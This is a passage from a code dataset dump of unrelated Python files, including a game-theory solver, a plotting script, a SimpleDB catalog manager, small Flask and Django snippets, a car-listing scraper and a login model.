finally:\n        file.close()\n    return abbreviations\n# read the file to a global\nstatesByAbbreviation = readStates('states.txt')\n\n\ndef getStateNameByAbbreviation(abbreviation):\n    return statesByAbbreviation[abbreviation]\n\n\ndef getAbbreviationByStateName(name):\n    dictItems = statesByAbbreviation.items()\n    # find the (hopefully) zero or one items with the name as a value\n    abbreviations = [key for key, value in dictItems if value == name]\n    if len(abbreviations) == 0:\n        return ''\n    return abbreviations[0]\n","sub_path":"assignment_1.py","file_name":"assignment_1.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"70491335","text":"import sys\nfrom abc import ABC, abstractmethod\nfrom typing import Callable, Tuple, Any, List, Optional\nfrom collections import defaultdict\n\nfrom sympy import symbols, Rational, diff, Eq, solveset, Matrix\nfrom sympy.core.add import Add\n\n\nclass KernelFunction:\n    def __init__(\n        self,\n        a: Rational = Rational(0),\n        b: Rational = Rational(0),\n        c: Rational = Rational(0),\n        d: Rational = Rational(0),\n        e: Rational = Rational(0),\n    ):\n        self.x, self.y = symbols('x y')\n        self.a = a\n        self.b = b\n        self.c = c\n        self.d = d\n        self.e = e\n\n    @property\n    def H(self) -> Add:\n        return (self.a * self.x ** 2) + (self.b * self.y ** 2) + \\\n               (self.c * self.x * self.y) + \\\n               (self.d * self.x) + (self.e * self.y)\n\n    @property\n    def dH_dx(self) -> Add:\n        return diff(self.H, self.x)\n\n    @property\n    def dH_dx_dx(self) -> Add:\n        return diff(self.dH_dx, self.x)\n\n    @property\n    def dH_dy(self) -> Add:\n        return diff(self.H, self.y)\n\n    @property\n    def dH_dy_dy(self) -> Add:\n        return diff(self.dH_dy, self.y)\n\n    def get_value_at_point(self, x: Rational, y: Rational):\n        return self.H.subs(self.x, x).subs(self.y, y)\n\n\nclass NoSolutionException(Exception):\n    pass\n\n\nclass BaseSolver(ABC):\n    def __init__(self, kernel: KernelFunction):\n        if kernel.dH_dx_dx >= 0:\n            raise NoSolutionException(\n                'Second derivative of Kernel function %s with respect to'\n                ' x should be less than zero but it is %s',\n                kernel.H,\n                kernel.dH_dx_dx\n            )\n\n        if kernel.dH_dy_dy <= 0:\n            raise NoSolutionException(\n                'Second derivative of Kernel function %s with respect to '\n                'y should be greater than zero but it is %s',\n                kernel.H,\n                kernel.dH_dy_dy\n            )\n        self.kernel = kernel\n\n    @abstractmethod\n    def solve(self) -> Tuple:\n        pass\n\n\nclass AnalyticalSolver(BaseSolver):\n    def __init__(self, kernel: KernelFunction):\n        super().__init__(kernel)\n\n    def solve(self) -> Tuple[Rational, Rational, Rational]:\n        x_expression = list(\n            solveset(Eq(self.kernel.dH_dx, 0), self.kernel.x)\n        )[0]\n        y_expression = list(\n            solveset(Eq(self.kernel.dH_dy, 0), self.kernel.y)\n        )[0]\n\n        y_expression_without_x = y_expression.subs(\n            self.kernel.x, x_expression)\n        y_solution = list(\n            solveset(Eq(y_expression_without_x, self.kernel.y), self.kernel.y))[0]\n\n        x_solution = x_expression.subs(self.kernel.y, y_solution)\n\n        return x_solution, y_solution, self.kernel.get_value_at_point(\n            x_solution,\n            y_solution\n        )\n\n\nclass BraunRobinsonAlgorithmStep:\n    def __init__(\n            self,\n            a_choice: int,\n            b_choice: int,\n            payoff_matrix: Matrix,\n            previous_step: Optional):\n        self.step_number = 1\n        if previous_step:\n            self.step_number = previous_step.step_number + 1\n\n        self.a_choice = a_choice\n        self.b_choice = b_choice\n\n        self.a_gain = payoff_matrix.col(self.b_choice).T.tolist()[0]\n        self.b_gain = payoff_matrix.row(self.a_choice).tolist()[0]\n        self.min_upper_game_cost = self.upper_game_cost\n        self.max_lower_game_cost = self.lower_game_cost\n\n        if previous_step:\n            self.a_gain = [sum(x) for x in\n                           zip(self.a_gain, previous_step.a_gain)]\n            self.b_gain = [sum(x) for x in\n                           zip(self.b_gain, previous_step.b_gain)]\n            self.min_upper_game_cost = min(\n                (self.upper_game_cost, previous_step.min_upper_game_cost))\n            self.max_lower_game_cost = max(\n                (self.lower_game_cost, previous_step.max_lower_game_cost))\n\n    @property\n    def upper_game_cost(self) -> Rational:\n        return max(self.a_gain) / Rational(self.step_number)\n\n    @property\n    def lower_game_cost(self) -> Rational:\n        return min(self.b_gain) / Rational(self.step_number)\n\n    @property\n    def epsilon(self) -> Rational:\n        return self.min_upper_game_cost - self.max_lower_game_cost\n\n    def __str__(self):\n        return '{step_number:^5}|{a_choice:^3}|{b_choice:^3}|{a_gain:^25}'\\\n               '|{b_gain:^25}|{lower_game_cost:^12}|{upper_game_cost:^12}'\\\n               '|{epsilon:^8}'.format(\n                step_number=self.step_number,\n                a_choice=self.a_choice,\n                b_choice=self.b_choice,\n                a_gain=str(self.a_gain),\n                b_gain=str(self.b_gain),\n                lower_game_cost=str(self.lower_game_cost),\n                upper_game_cost=str(self.upper_game_cost),\n                epsilon=str(float(self.epsilon))[:8],\n            )\n\n\nclass BraunRobinsonTable:\n    def __init__(self, payoff_matrix: Matrix, first_a: int, first_b: int):\n        self.payoff_matrix = payoff_matrix\n        self.steps = []\n        \n        self.make_step(first_a, first_b)\n    \n    def solve(self, threshold: float = 0.01, max_steps: int = 2 ** 64):\n        while threshold < self.steps[-1].epsilon \\\n                and max_steps > len(self.steps):\n            self.make_step()\n    \n    def make_step(self, a_strategy: int = None, b_strategy: int = None):\n        if all([a_strategy is None, b_strategy is None]):\n            a_strategy = self._get_next_a_strategy()\n            b_strategy = self._get_next_b_strategy()\n        elif any([a_strategy is None, b_strategy is None]):\n            raise Exception(\n                'Both strategy should be defined or should be None.'\n                ' Got strategies: %s',\n                [a_strategy, b_strategy]\n            )\n        \n        step = BraunRobinsonAlgorithmStep(\n            a_choice=a_strategy,\n            b_choice=b_strategy,\n            payoff_matrix=self.payoff_matrix,\n            previous_step=self.steps[-1] if self.steps else None\n        )\n        self.steps.append(step)\n    \n    def get_a_mixed_strategy(self):\n        counter = defaultdict(int)\n        for step in self.steps:\n            counter[step.a_choice] += 1\n        \n        return [Rational(counter[choice], len(self.steps))\n                for choice in range(self.payoff_matrix.cols)]\n    \n    def get_b_mixed_strategy(self):\n        counter = defaultdict(int)\n        for step in self.steps:\n            counter[step.b_choice] += 1\n        \n        return [Rational(counter[choice], len(self.steps))\n                for choice in range(self.payoff_matrix.cols)]\n    \n    @staticmethod\n    def annotate_table():\n        return '{step_number:^5} {a_choice:^3} {b_choice:^3} {a_gain:^25}' \\\n               ' {b_gain:^25} {lower_game_cost:^12} {upper_game_cost:^12}' \\\n               ' {epsilon:^8}'.format(\n            step_number='step',\n            a_choice='A',\n            b_choice='B',\n            a_gain='A gain',\n            b_gain='B gain',\n            lower_game_cost='v lower',\n            upper_game_cost='v upper',\n            epsilon='E',\n        )\n    \n    def _get_next_a_strategy(self) -> int:\n        max_from_previous_a_gain = max(self.steps[-1].a_gain)\n        \n        if len(self.steps) > 1 and self.steps[-2].a_gain[\n            self.steps[-1].a_choice] == max_from_previous_a_gain:\n            return self.steps[-1].a_choice\n        \n        return self.steps[-1].a_gain.index(max_from_previous_a_gain)\n    \n    def _get_next_b_strategy(self) -> int:\n        min_from_previous_b_gain = min(self.steps[-1].b_gain)\n        \n        if len(self.steps) > 1 and self.steps[-2].b_gain[\n            self.steps[-1].b_choice] == min_from_previous_b_gain:\n            return self.steps[-1].b_choice\n        \n        return self.steps[-1].b_gain.index(min_from_previous_b_gain)\n\n\nclass NumericalSolver(BaseSolver):\n    def __init__(self, kernel: KernelFunction, steps: int):\n        super().__init__(kernel)\n        self.steps = steps\n        self.grid_matrix = self.create_grid_matrix(self.steps)\n    \n    def solve(self) -> Tuple[float, float, Any]:\n        shift = min([x for x in self.grid_matrix])\n        if shift < 0:\n            for i in range(self.grid_matrix.rows):\n                for j in range(self.grid_matrix.cols):\n                    self.grid_matrix[i, j] += -1 * shift\n        \n        maximin = self.get_maximin(self.grid_matrix)\n        minimax = self.get_minimax(self.grid_matrix)\n        \n        if maximin == minimax:\n            print('Есть седловая точка:')\n            a_clear_strategy = maximin[1][0]\n            b_clear_strategy = minimax[1][1]\n        \n        else:\n            print('Седловой точки нет, решение методом Брауна-Робинсона:')\n            braun_robinson_table = BraunRobinsonTable(self.grid_matrix, maximin[1][0], minimax[1][1])\n            braun_robinson_table.solve(0.01)\n            \n            a_mixed_strategy = braun_robinson_table.get_a_mixed_strategy()\n            b_mixed_strategy = braun_robinson_table.get_b_mixed_strategy()\n            \n            a_clear_strategy = \\\n                max([(a_mixed_strategy[i], i) for i in range(len(a_mixed_strategy))], key=lambda x: x[0])[1]\n            \n            b_clear_strategy = \\\n                max([(b_mixed_strategy[j], j) for j in range(len(b_mixed_strategy))], key=lambda x: x[0])[1]\n        \n        H = self.grid_matrix[a_clear_strategy, b_clear_strategy] + shift\n        x = a_clear_strategy / self.steps\n        y = b_clear_strategy / self.steps\n        \n        return x, y, H\n    \n    def create_grid_matrix(self, steps: int) -> Matrix:\n        res = []\n        for i in range(steps + 1):\n            res.append(\n                [self.kernel.get_value_at_point(Rational(i, steps), Rational(j, steps)) for j in range(steps + 1)])\n        return Matrix(res)\n    \n    def matrix_to_str(self) -> str:\n        res = '['\n        for i in range(self.grid_matrix.rows):\n            res += ' ['\n            res += ', '.join([\"{:8.3f}\".format(float(i)) for i in self.grid_matrix.row(i)])\n            res += ']\\n'\n        res = res[:-1] + ']'\n        return res[:1] + res[2:]\n    \n    def get_maximin(self, payoff_matrix: Matrix) -> Tuple:\n        mins_by_rows = self._find_extremums_by_axis(payoff_matrix, 'rows', fn=min, )\n        maximum = max(mins_by_rows, key=lambda x: x[0])\n        \n        return maximum[0], (mins_by_rows.index(maximum), maximum[1])\n    \n    def get_minimax(self, payoff_matrix: Matrix) -> Tuple:\n        maxs_by_cols = self._find_extremums_by_axis(payoff_matrix, 'columns', fn=max, )\n        minimum = min(maxs_by_cols, key=lambda x: x[0])\n        \n        return minimum[0], (minimum[1], maxs_by_cols.index(minimum))\n    \n    def _find_extremums_by_axis(self, payoff_matrix: Matrix, axis: str, fn: Callable) -> List[Tuple]:\n        if axis == 'columns':\n            lines = [payoff_matrix.col(j).T.tolist()[0] for j in range(payoff_matrix.cols)]\n        elif axis == 'rows':\n            lines = [payoff_matrix.row(i).tolist()[0] for i in range(payoff_matrix.rows)]\n        else:\n            raise Exception(\"Axis should be 'rows' or 'columns'\")\n        \n        return [(fn(line), line.index(fn(line))) for line in lines]\n\n\ndef compute_analytical_solution(kernel_function: KernelFunction):\n    try:\n        analytical_solver = AnalyticalSolver(kernel_function)\n    except NoSolutionException as exception:\n        print(exception)\n        sys.exit(0)\n\n    x, y, H = analytical_solver.solve()\n\n    print('Analytical solution\\nx={:2.3f} y={:2.3f} H={:2.3f}\\n\\n'.format(\n        float(x), float(y), float(H))\n    )\n    \n    \ndef compute_numerical_solution(kernel_function: KernelFunction):\n    print('Numerical solution')\n    try:\n        results = []\n        steps = 1\n        steps_shift = 10\n        while len(results) < steps_shift or abs(\n                    max(results[-1*steps_shift:]) -\n                    min(results[-1*steps_shift:])\n                ) > 0.01:\n            print(f'N={steps}')\n            numerical_solver = NumericalSolver(kernel_function, steps)\n\n            if steps <= 10:\n                print(numerical_solver.matrix_to_str())\n\n            x, y, H = numerical_solver.solve()\n            results.append(H)\n            print('x={:2.3f} y={:2.3f} H={:2.3f}\\n\\n'.format(\n                float(x), float(y), float(H))\n            )\n\n            steps += 1\n\n    except NoSolutionException as exception:\n        print(exception)\n        sys.exit(0)\n\n\ndef process_solutions(kernel):\n    if not kernel:\n        return\n    \n    compute_analytical_solution(kernel)\n    compute_numerical_solution(kernel)\n\n\ndef main(*args):\n    kernel = KernelFunction(\n        a=Rational(-10),\n        b=Rational(15),\n        c=Rational(60),\n        d=Rational(-12),\n        e=Rational(-48)\n    )\n    \n    process_solutions(kernel)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"Tasks/Task7L2v2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"448339371","text":"#%%\nimport os\nimport pickle\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n# Configure Matplotlib style parameters\nplt.rcParams.update(mpl.rcParamsDefault)\nmpl_params = {\n        'font.family' : 'Arial',\n        'font.size' : 8, # Science 6-10pt, Nature 5-9pt, APL minimum 8pt\n        'mathtext.fontset' : 'dejavuserif',\n        'ytick.labelsize': 9,\n        'ytick.labelsize': 9,\n        'xtick.major.size': 3.5,\n        'ytick.major.size': 3.5,\n        'xtick.minor.size': 2.0,\n        'ytick.minor.size': 2.0,\n        'lines.linewidth': 0.5,\n        'axes.linewidth' : 0.5,\n        'xtick.major.width' : 0.5,\n        'ytick.major.width' : 0.5,\n        'xtick.minor.width' : 0.5,\n        'ytick.minor.width' : 0.5,\n        }\nplt.rcParams.update(mpl_params)\nplt.ion()\ncolors = ['#a6611a', '#dfc27d', '#80cdc1', '#018571']\n          \n# Configure figure parameters\nfigure_filename = 'count_ratio_snspd_sweep'\nwidth = 4\nratio = 1.618\nheight = width/ratio\nfig, ax = plt.subplots()\nfig.set_size_inches(width, height)\nax.set_xlabel('SNSPD current (μA)')\nax.set_ylabel('Ratio')\nax.set_xlim([26, 32])\nax.set_ylim([-.1, 1.1])\nax.set_title('Ratio of SNSPD count rate to readout count ratio\\nvs. SNSPD bias current')\n\n# Import data\ndata_filepath = r'C:/Users/jgamm/Desktop/superconductivity_paper/data'\nl, u = .5, 1.\nwith open(os.path.join(data_filepath, 'D1_ratio_sweeping_snspd_current_ireadout8u.pickle'), 'rb') as F:\n    Dev1 = pickle.load(F)\n    Dev1['ratio'] = [0 if Dev1['snspd count rate'][i]==0 \\\n         else Dev1['readout count rate'][i]/Dev1['snspd count rate'][i] \\\n         for i in range(len(Dev1['readout count rate']))]\n    [a, b] = (np.array(Dev1['ratio'])!=0).nonzero()[0].take((0, -1))\n    Dev1['average ratio'] = np.mean(Dev1['ratio'] \\\n        [np.int(np.floor(a+l*(b-a))) : np.int(np.ceil(a+u*(b-a)))])\nwith open(os.path.join(data_filepath, 'D2_ratio_sweeping_snspd_current_ireadout7.5u.pickle'), 'rb') as F:\n    Dev2 = pickle.load(F)\n    Dev2['ratio'] = [0 if Dev2['snspd count rate'][i]==0 \\\n         else Dev2['readout count rate'][i]/Dev2['snspd count rate'][i] \\\n         for i in range(len(Dev2['readout count rate']))]\n    [a, b] = (np.array(Dev2['ratio'])!=0).nonzero()[0].take((0, -1))\n    Dev2['average ratio'] = np.mean(Dev2['ratio'] \\\n        [np.int(np.floor(a+l*(b-a))) : np.int(np.ceil(a+u*(b-a)))])\nwith open(os.path.join(data_filepath, 'D3_ratio_sweeping_snspd_current_ireadout18u.pickle'), 'rb') as F:\n    Dev3 = pickle.load(F)\n    Dev3['ratio'] = [0 if Dev3['snspd count rate'][i]==0 \\\n         else Dev3['readout count rate'][i]/Dev3['snspd count rate'][i] \\\n         for i in range(len(Dev3['readout count rate']))]\n    [a, b] = (np.array(Dev3['ratio'])!=0).nonzero()[0].take((0, -1))\n    Dev3['average ratio'] = np.mean(Dev3['ratio'] \\\n        [np.int(np.floor(a+l*(b-a))) : np.int(np.ceil(a+u*(b-a)))])\nwith open(os.path.join(data_filepath, 'D4_ratio_sweeping_snspd_current_ireadout19u.pickle'), 'rb') as F:\n    Dev4 = pickle.load(F)\n    Dev4['ratio'] = [0 if Dev4['snspd count rate'][i]==0 \\\n         else Dev4['readout count rate'][i]/Dev4['snspd count rate'][i] \\\n         for i in range(len(Dev4['readout count rate']))]\n    [a, b] = (np.array(Dev4['ratio'])!=0).nonzero()[0].take((0, -1))\n    Dev4['average ratio'] = np.mean(Dev4['ratio'] \\\n        [np.int(np.floor(a+l*(b-a))) : np.int(np.ceil(a+u*(b-a)))])\n\n# Create plot\ndata_style_args = dict(\n    marker = 'o',\n    #markersize = 7,\n    fillstyle='none',\n    linestyle='None')\navg_style_args = dict(\n    linestyle = '--',\n    linewidth = 1.0)\n\nax.plot(Dev1['readout bias'], Dev1['ratio'],\n        color = colors[0],\n        label = 'Device 1',\n        markersize=7.5,\n        zorder = 4,\n        **data_style_args)\nax.plot(Dev2['readout bias'], Dev2['ratio'],\n        color = colors[1],\n        label = 'Device 2',\n        markersize=6,\n        zorder = 5,\n        **data_style_args)\nax.plot(Dev3['readout bias'], Dev3['ratio'],\n        color = colors[2],\n        label = 'Device 3',\n        markersize=4.5,\n        zorder = 6,\n        **data_style_args)\nax.plot(Dev4['readout bias'], Dev4['ratio'],\n        color = colors[3],\n        label = 'Device 4',\n        markersize=3,\n        zorder = 7,\n        **data_style_args)\nax.plot(Dev4['readout bias'], [Dev1['average ratio'] for i in Dev4['readout bias']],\n        color = colors[0],\n        label =  'Mean = %.03f'%(Dev1['average ratio']),\n        zorder = 0,\n        **avg_style_args)\nax.plot(Dev4['readout bias'], [Dev2['average ratio'] for i in Dev4['readout bias']],\n        color = colors[1],\n        label = 'Mean = %.03f'%(Dev2['average ratio']),\n        zorder = 1,\n        **avg_style_args)\nax.plot(Dev4['readout bias'], [Dev3['average ratio'] for i in Dev4['readout bias']],\n        color = colors[2],\n        label = 'Mean = %.03f'%(Dev3['average ratio']),\n        zorder = 2,\n        **avg_style_args)\nax.plot(Dev4['readout bias'], [Dev4['average ratio'] for i in Dev4['readout bias']],\n        color = colors[3],\n        label = 'Mean = %.03f'%(Dev4['average ratio']),\n        zorder = 3,\n        **avg_style_args)\nax.legend(ncol=2, loc='lower right').set_zorder(8)\nplt.tight_layout()\n\n# Save data\noutput_filepath = r'C:/Users/jgamm/Desktop/superconductivity_paper/figures'\nfig.savefig(os.path.join(output_filepath, figure_filename+'.pdf'), dpi=300)\n","sub_path":"figures_scripts/count_ratio_snspd_sweep.py","file_name":"count_ratio_snspd_sweep.py","file_ext":"py","file_size_in_byte":5348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"632885508","text":"#\n#  * The table manager.\n#  * There are methods to create a table, save the metadata\n#  * in the catalog, and obtain the metadata of a\n#  * previously-created table.\n#  * @author Edward Sciore\n#\nfrom simpledb.record.Layout import Layout\nfrom simpledb.record.Schema import Schema\nfrom simpledb.record.TableScan import TableScan\n\n\nclass TableMgr(object):\n    #  The max characters a tablename or fieldname can have.\n    MAX_NAME = 16\n\n    #\n    #     * Create a new catalog manager for the database system.\n    #     * If the database is new, the two catalog tables\n    #     * are created.\n    #     * @param isNew has the value true if the database is new\n    #     * @param tx the startup transaction\n    #\n    def __init__(self, isNew, tx):\n        tcatSchema = Schema()\n        tcatSchema.addStringField(\"tblname\", TableMgr.MAX_NAME)\n        tcatSchema.addIntField(\"slotsize\")\n        self.tcatLayout = Layout(tcatSchema)\n        fcatSchema = Schema()\n        fcatSchema.addStringField(\"tblname\", TableMgr.MAX_NAME)\n        fcatSchema.addStringField(\"fldname\", TableMgr.MAX_NAME)\n        fcatSchema.addIntField(\"type\")\n        fcatSchema.addIntField(\"length\")\n        fcatSchema.addIntField(\"offset\")\n        self.fcatLayout = Layout(fcatSchema)\n        if isNew:\n            self.createTable(\"tblcat\", tcatSchema, tx)\n            self.createTable(\"fldcat\", fcatSchema, tx)\n\n    #\n    #     * Create a new table having the specified name and schema.\n    #     * @param tblname the name of the new table\n    #     * @param sch the table's schema\n    #     * @param tx the transaction creating the table\n    #\n    def createTable(self, tblname, sch, tx):\n        layout = Layout(sch)\n        #  insert one record into tblcat\n        tcat = TableScan(tx, \"tblcat\", self.tcatLayout)\n        tcat.insert()\n        tcat.setString(\"tblname\", tblname)\n        tcat.setInt(\"slotsize\", layout.slotSize())\n        tcat.close()\n\n        #  insert a record into fldcat for each field\n        fcat = TableScan(tx, \"fldcat\", self.fcatLayout)\n        for fldname in sch.fields():\n            fcat.insert()\n            fcat.setString(\"tblname\", tblname)\n            fcat.setString(\"fldname\", fldname)\n            fcat.setInt(\"type\", sch.type(fldname))\n            fcat.setInt(\"length\", sch.length(fldname))\n            fcat.setInt(\"offset\", layout.offset(fldname))\n        fcat.close()\n\n    #\n    #     * Retrieve the layout of the specified table\n    #     * from the catalog.\n    #     * @param tblname the name of the table\n    #     * @param tx the transaction\n    #     * @return the table's stored metadata\n    #\n    def getLayout(self, tblname, tx):\n        size = -1\n        tcat = TableScan(tx, \"tblcat\", self.tcatLayout)\n        while tcat.next():\n            if tcat.getString(\"tblname\") == tblname:\n                size = tcat.getInt(\"slotsize\")\n                break\n        tcat.close()\n        sch = Schema()\n        offsets = {}\n        fcat = TableScan(tx, \"fldcat\", self.fcatLayout)\n        while fcat.next():\n            if fcat.getString(\"tblname\") == tblname:\n                fldname = fcat.getString(\"fldname\")\n                fldtype = fcat.getInt(\"type\")\n                fldlen = fcat.getInt(\"length\")\n                offset = fcat.getInt(\"offset\")\n                offsets[fldname] = offset\n                sch.addField(fldname, fldtype, fldlen)\n        fcat.close()\n        return Layout(sch, offsets, size)\n","sub_path":"simpledb/metadata/TableMgr.py","file_name":"TableMgr.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"318535719","text":"from django.conf.urls import patterns, url\n\nfrom log import views\n\n\nurlpatterns = patterns('',\n    url(r'^entry/$', views.EntryListAPIView.as_view(), name='log_entry_list'),\n    url(r'^entry/id/$', views.EntryCreateAPIView.as_view(), name='log_entry_id'),\n    # Use optional ending slash since Backbone models don't use it by default.\n    url(r'^entry/id/(?P<id>[0-9]+)(/?)$', views.EntryDetailAPIView.as_view()),\n)\n","sub_path":"log/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"166027429","text":"import json\nfrom flask import Flask, jsonify\n\napp = Flask(__name__)\nmeta = json.load(open(\"meta.json\"))\n\n@app.route('/')\ndef hello_world():\n    return 'This is the DatabaseAccessControllerApp'\n\n@app.route('/check_alive')\ndef checkalive():\n    responseMessage={\n        \"status\": \"success\"\n    }\n    return jsonify(responseMessage)\n    \nif __name__ == '__main__':\n    app.run(debug=True,host='0.0.0.0', port=meta[\"AppPort\"])\n","sub_path":"Main/Components/DatabaseAccessController/DatabaseAccessControllerApp.py","file_name":"DatabaseAccessControllerApp.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"166342244","text":"\n\nfrom xai.brain.wordbase.adjectives._spindly import _SPINDLY\n\n#calss header\nclass _SPINDLIEST(_SPINDLY, ):\n\tdef __init__(self,): \n\t\t_SPINDLY.__init__(self)\n\t\tself.name = \"SPINDLIEST\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"spindly\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_spindliest.py","file_name":"_spindliest.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"443958170","text":"from random import random as r\n\nlandings = [0 for a in range(20)]\nlandings2 = [0 for a in range(20)]\nfor a in range(10000):\n    random_sign = -1.0 if r()<0.5 else 1.0\n    result = int(10.0*r()*r()*random_sign)\n    result2 = int(10.0*r()*r()*r()*random_sign)\n    try:\n        landings[result+10]+=1\n        landings2[result2+10]+=1\n    except IndexError:\n        print(result)\n        print(result2)\n        exit()\nprint(\"landings\")\nfor a in landings:\n    print(a)\nprint(\"landings2\")\nfor a in landings2:\n    print(a)","sub_path":"_projects/labground/labground/naive_rand.py","file_name":"naive_rand.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"493510367","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n\n\ndef search_url(**kwargs):\n    location = 'voronezh'\n    vendor = 'ford'\n    model = 'focus'\n    url = f\"https://www.avito.ru/{location}/avtomobili/{vendor}/{model}\"\n    return url\n\n\ndef get_avito_offers():\n    u = search_url()\n    response = requests.get(u)\n    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')\n    offers = soup.findAll('div', {'class': 'item__line'})\n    list_autos = []\n    for data in offers:\n        # brand\n        brand = ((data.findChild('a', {'itemprop': 'url'}).text).split(',')).pop(0)\n        params.update({'brand': brand})\n\n        # Mileage, bodytype, EnginePower, fueltype,  vehicleTransmission\n        keys = ['mileage', 'EnginePower', 'bodytype', 'privod','fueltype']\n        values = (data.findChild('div', {'class': 'specific-params specific-params_block'}).text).split(',')\n        params = dict(zip(keys, values))\n\n        # offer url\n        url = 'https://avito.ru' + data.findChild('a', {'class': 'snippet-link'}, href = True)['href']\n        params.update({'url': url})\n\n        # productionDate\n        productionDate = ((data.findChild('a', {'itemprop': 'url'}).text).split(',')).pop(1)\n        params.update({'productionDate':productionDate})\n\n        price = data.findChild('span', {'itemprop': 'price'})\n        if price is not None:\n            params.update({'price': price.text})\n\n        list_autos.append(params)\n    autos = pd.DataFrame(list_autos)\n    autos['site']='Avito'\n    return autos\n\n\nif __name__ == '__main__':\n\n    print(get_avito_offers ())","sub_path":"app/avito_parser.py","file_name":"avito_parser.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"463028087","text":"# coding: utf-8\nfrom sqlalchemy import Column, Integer, String, Text, Boolean, Float, DateTime, Enum\nfrom sqlalchemy.orm import relationship\nimport datetime\nfrom User import User\nfrom Base import Base, db_session\nfrom passlib.apps import custom_app_context as pwd_context\nfrom SinglePage.singlepage import *\n\nimport uuid\nclass Login(GeneralViewWithSQLAlchemy, Base):\n    \"\"\"登陆接口，在user接口获取用户openid，传入openid和pwd后获得的base作为其它接口的验证凭据，请将获得的user_id和base放在header中，格式XXX-user-id:1,XXX-base:sdfasdfasd \"\"\"\n    db_session = db_session\n    __tablename__ = 'Login'\n    id = Column(Integer, primary_key=True)\n    user_id = Column(Integer)\n    _openid = Column(String(125))\n    base = Column(String(125))\n    login_time = Column(DateTime())\n    _pwd = ''\n\n    @property\n    def pwd(self):\n        return self._pwd\n\n    @pwd.setter\n    def pwd(self, value):\n        self._pwd = value\n\n    @property\n    def openid(self):\n        return self._openid\n\n    @openid.setter\n    def openid(self, value):\n        self._openid = value\n        user = self.db_session.query(User).filter(\n            User.openid == value).first()\n        if user is not None:\n            self.pwd = request.get_json()['pwd']\n            if user.pwd_verify(self.pwd):\n                self.user_id = user.id\n                self.base = str(uuid.uuid1())\n                self.login_time = datetime.now()\n\n    __property__ = {'openid': '_openid', 'pwd': '_pwd'}\n    __in_exclude__ = ['id', 'login_time', '_openid', 'user_id', 'base']\n    __exclude__ = ['_openid']\n","sub_path":"Model/Login.py","file_name":"Login.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"260474032","text":"x = [1, 2, 3];\n\nprint(id(x)); # отличие идентификаторов из-за того что разные объекты\nprint(id([1, 2, 3])); \n\n# чтобы ссылались на один и тот-же объект is:\n\nx = [1, 2, 3] \ny = x\ny is x\ny is [1, 2, 3]","sub_path":"1.2_objects/id_object.py","file_name":"id_object.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"343755264","text":"'''\nCopyright 2020 Panther Labs Inc\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n   http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n'''\n\nfrom collections import defaultdict\nfrom datetime import datetime\nfrom fnmatch import fnmatch\nfrom importlib.abc import Loader\nfrom typing import Any, DefaultDict, Dict, Iterator, List, Set, Tuple\nimport argparse\nimport base64\nimport importlib.util\nimport json\nimport logging\nimport os\nimport re\nimport sys\nimport zipfile\n\nfrom ruamel.yaml import YAML, parser as YAMLParser, scanner as YAMLScanner\nfrom schema import (Optional, SchemaError, SchemaWrongKeyError,\n                    SchemaMissingKeyError, SchemaForbiddenKeyError,\n                    SchemaUnexpectedTypeError)\nimport boto3\n\nfrom panther_analysis_tool.schemas import (TYPE_SCHEMA, DATA_MODEL_SCHEMA,\n                                           GLOBAL_SCHEMA, POLICY_SCHEMA,\n                                           RULE_SCHEMA)\nfrom panther_analysis_tool.test_case import DataModel, TestCase\n\nDATA_MODEL_LOCATION = './data_models'\nHELPERS_LOCATION = './global_helpers'\n\nDATA_MODEL_PATH_PATTERN = '*data_models*'\nHELPERS_PATH_PATTERN = '*/global_helpers'\nRULES_PATH_PATTERN = '*rules*'\nPOLICIES_PATH_PATTERN = '*policies*'\n\nDATAMODEL = 'datamodel'\nGLOBAL = 'global'\nRULE = 'rule'\nPOLICY = 'policy'\n\n\n# exception for conflicting ids\nclass AnalysisIDConflictException(Exception):\n\n    def __init__(self, analysis_id: str):\n        self.message = 'Conflicting AnalysisID: [{}]'.format(analysis_id)\n        super().__init__(self.message)\n\n\ndef load_module(filename: str) -> Tuple[Any, Any]:\n    \"\"\"Loads the analysis function module from a file.\n\n    Args:\n        filename: The relative path to the file.\n\n    Returns:\n        A loaded Python module.\n    \"\"\"\n    module_name = filename.split('.')[0]\n    spec = importlib.util.spec_from_file_location(module_name, 